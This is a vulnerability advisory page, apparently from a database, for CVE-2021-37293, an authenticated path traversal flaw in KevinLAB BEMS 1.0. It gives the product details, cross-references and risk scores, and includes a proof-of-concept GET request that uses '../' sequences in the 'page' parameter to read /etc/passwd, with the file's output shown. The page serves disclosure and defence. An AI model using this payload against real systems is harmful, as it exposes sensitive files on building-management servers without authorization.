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KevinLAB BEMS 1.0 Authenticated File Path Traversal Information Disclosure
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
 | CVE-2021-37293 | 11 Apr 202222:16 | – | circl |
 | KevinLAB Building Energy Management System 路径遍历漏洞 | 11 Apr 202200:00 | – | cnnvd |
 | KevinLAB Building Energy Management System跨站请求伪造漏洞 | 13 Apr 202200:00 | – | cnvd |
 | CVE-2021-37293 | 11 Apr 202218:08 | – | cve |
 | CVE-2021-37293 | 11 Apr 202218:08 | – | cvelist |
 | EUVD-2021-23865 | 7 Oct 202500:30 | – | euvd |
 | CVE-2021-37293 | 11 Apr 202219:15 | – | nvd |
 | CVE-2021-37293 | 11 Apr 202219:15 | – | osv |
 | Directory traversal | 11 Apr 202219:15 | – | prion |
 | CVE-2021-37293 | 22 May 202520:04 | – | redhatcve |
10
<html><body><p>KevinLAB BEMS 1.0 Authenticated File Path Traversal Information Disclosure
Vendor: KevinLAB Inc.
Product web page: http://www.kevinlab.com
Affected version: 4ST L-BEMS 1.0.0 (Building Energy Management System)
Summary: KevinLab is a venture company specialized in IoT, Big Data, A.I based energy
management platform. KevinLAB's BEMS (Building Energy Management System) enables
efficient energy management in buildings. It improves the efficient of energy use
by collecting and analyzing various information of energy usage and facilities in
the building. It also manages energy usage, facility efficiency and indoor environment
control.
Desc: The BEMS suffers from an authenticated arbitrary file disclosure vulnerability.
Input passed through the 'page' GET parameter in index.php is not properly verified
before being used to include files. This can be exploited to disclose the contents
of arbitrary and sensitive files via directory traversal attacks.
Tested on: Linux CentOS 7
Apache 2.4.6
Python 2.7.5
PHP 5.4.16
MariaDB 5.5.68
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2021-5656
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5656.php
05.07.2021
--
GET https://192.168.1.3/pages/index.php?page=../../../../etc/passwd HTTP/1.1
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
...
...
</p></body></html>Data
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20 Jul 2021 00:00Current
6.2Medium risk
Vulners AI Score6.2
CVSS 24
CVSS 3.16.5
EPSS0.00446